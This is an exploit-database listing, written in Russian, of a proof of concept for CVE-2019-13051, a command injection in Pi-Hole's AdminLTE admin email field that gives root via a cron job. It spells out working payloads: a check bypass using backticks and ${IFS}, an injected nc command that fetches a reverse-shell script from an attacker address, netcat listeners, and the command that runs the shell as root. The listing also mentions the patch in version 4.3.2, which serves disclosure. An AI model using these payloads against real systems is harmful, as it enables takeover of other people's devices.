Sploitus

Exploit for CVE-2019-13051

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN83 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PR0TEAN-CVE-2019-13051
## Pi-Hole < 4.3.2 Π’Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ ΠΈ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ (CVE-2019-13051)

_ВСрсия Pi-Hole 4.3.2 содСрТит исправлСниС этой уязвимости:https://github.com/pi-hole/AdminLTE/pull/974_

ΠžΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ΅ спасибо ΠΊΠΎΠΌΠ°Π½Π΄Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Pi-Hole Π·Π° ΠΈΡ… Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ ΠΈ Π·Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ сдСлали процСсс сообщСния ΠΎΠ± уязвимости Ρ‚Π°ΠΊΠΈΠΌ простым!

### ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅ описаниС

Π§Π΅Ρ€Π΅Π· описанныС уязвимости Π² ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π΅ "AdminLTE" ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ root-доступ Π½Π° устройствС RaspberyPi (ΠΈΠ»ΠΈ Π½Π° любом Π΄Ρ€ΡƒΠ³ΠΎΠΌ устройствС/Π’Πœ, Π³Π΄Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅). Для эксплуатации Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ΡΡ административный доступ/ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊ Π²Π΅Π±-интСрфСйсу AdminLTE.

Π’ частности, ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π² ΠΏΠΎΠ»Π΅ «АдрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ администратора». Π­Ρ‚ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ Π² "/etc/pihole/setupVars.conf", послС Ρ‡Π΅Π³ΠΎ ΠΎΠ½ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ с привилСгиями **root** Π·Π°Π΄Π°Π½ΠΈΠ΅ΠΌ cron.d Β«/usr/local/bin/pihole updatechecker localΒ», Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‰ΠΈΠΌΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹Π΅ 10 ΠΌΠΈΠ½ΡƒΡ‚.

### ΠŸΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ условия Π°Ρ‚Π°ΠΊΠΈ

  1. БСтСвая Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ административного Π²Π΅Π±-прилоТСния Pi-Hole (AdminLTE).
  2. НаличиС ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для Π²Π΅Π±-прилоТСния AdminLTE.



### ΠžΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡ

ΠΡ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΌΡƒ приходится ΠΆΠ΄Π°Ρ‚ΡŒ 10-ΠΌΠΈΠ½ΡƒΡ‚Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π° cron-задания Β«/etc/cron.d/piholeΒ» для выполнСния ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹/ΠΊΠΎΠ΄Π°.

### ВСхничСскоС описаниС

НадССмся, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ Π΄Π΅Ρ‚Π°Π»ΠΈ ΠΈ PoC ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΈ воспроизвСсти ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ.

ПослС Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΌΡƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ нСсколько сСрвСрных ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ.

Π’ Β«savesettings.phpΒ», Π½Π° строкС L:499, управляСмая ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ пСрСмСнная Β«$adminemailΒ» провСряСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ PHP-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ FILTER_VALIDATE_EMAIL, которая ΠΎΠ±Π»Π°Π΄Π°Π΅Ρ‚ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ слабыми ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°ΠΌΠΈ.

Π—Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ эту ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ΠΈ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, просто Π·Π°ΠΊΠ»ΡŽΡ‡ΠΈΠ² Π½Π°Π±ΠΎΡ€ ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹Ρ… ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ Π² Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ. НапримСр, Π²Π²Π΅Π΄ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π² качСствС адрСса элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ администратора:

`"`test>/tmp/poc_proof.txt`"@example.com`

![Screenshot 1](https://assets.kitploit.com/production/public/readmes/30770/c71ece912da846c40ab151910bd504d12e1714009f13fb14ab0b11078c3bb52c.png)

Π’ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ 10 ΠΌΠΈΠ½ΡƒΡ‚ Π² Β«/tmp/poc_proof.txtΒ» Π±ΡƒΠ΄Π΅Ρ‚ создан ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΠΉ root Ρ„Π°ΠΉΠ», содСрТащий Β«testΒ», с привилСгиями root.

![Screenshot 2](https://assets.kitploit.com/production/public/readmes/30770/fdbac4c7231bef70c5cba93a8554cd8b42d173a353c316dce8cc4c6535a487cb.jpg)

Π§Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ дальнСйшиС Π·Π½Π°Ρ‡ΠΈΠΌΡ‹Π΅ Π°Ρ‚Π°ΠΊΠΈ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ Π½Π° ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ допустимыми символами элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ ΠΈ ΠΎΡ‚Π»Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ FILTER_VALIDATE_EMAIL). Для этого использовалась внутрСнняя пСрСмСнная Linux ${IFS} (которая ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ соотвСтствуСт ΠΏΡ€ΠΎΠ±Π΅Π»Ρƒ Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ UNIX-систСм).

**PoC:**

*ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: это ΠΌΠΎΠΆΠ½ΠΎ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎΠΉ строкой с использованиСм Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠΈ POSIX shell, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ &&, || ...

  1. Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Ρƒ вас Π³ΠΎΡ‚ΠΎΠ² ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ доставки скрипта Π½Π° Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΉ машинС. Π’.Π΅. Π½Π° Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΉ машинС:



`nc -nvlp 4444 < revshell.py`

  2. ΠžΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ Π² ΠΏΠΎΠ»Π΅ «АдрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ администратора», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΈ сохранСниС Python-скрипта reverse shell Π² Β«/tmp/revshell.pyΒ»:



`"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com`

![Screenshot 3](https://assets.kitploit.com/production/public/readmes/30770/9c61c26cb1e6c3c25a620cc0235d7ad635a856964f87b18e02151e3084b73606.png)

HTTP-запрос Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΏΡ€ΠΈ просмотрС Ρ‡Π΅Ρ€Π΅Π· HTTP-прокси:

![Screenshot 4](https://assets.kitploit.com/production/public/readmes/30770/8c4be79564652ff84e5b2f0703755bc7dfe1148caa22bcf413eeb124d1306dfd.png)

ΠŸΠΎΠ΄ΠΎΠΆΠ΄ΠΈΡ‚Π΅ 10 ΠΌΠΈΠ½ΡƒΡ‚, ΠΏΠΎΠΊΠ° cron-Π·Π°Π΄Π°Π½ΠΈΠ΅ выполнится ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ скрипт, ΠΈΠ»ΠΈ, для Ρ†Π΅Π»Π΅ΠΉ воспроизвСдСния, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ `/usr/local/bin/pihole updatechecker local`. Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Π²Π½Π΅Π΄Ρ€Ρ‘Π½Π½ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ Π² "/etc/pihole/setupVars.conf" (ΠΎΠ½Π° находится Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ADMIN_EMAIL).

  3. Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Ρƒ вас Π³ΠΎΡ‚ΠΎΠ² сСрвис для ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Π° shell. Π’.Π΅. Π½Π° Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΉ машинС:



`nc -nvlp 4445`

  4. НаконСц, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:



`β€œ`python${IFS}/tmp/revshell.py`”@example.com`

Π‘Π½ΠΎΠ²Π° ΠΏΠΎΠ΄ΠΎΠΆΠ΄ΠΈΡ‚Π΅ 10 ΠΌΠΈΠ½ΡƒΡ‚ (ΠΈΠ»ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ cron-скрипт Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ для воспроизвСдСния ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹), ΠΈ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ root-shell Π½Π° своСй Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΉ машинС.

![Screenshot 1](https://assets.kitploit.com/production/public/readmes/30770/891fbf3c10d52ee07c4ab2288939f0a7ade874f81c203dec75a680530032415e.jpg)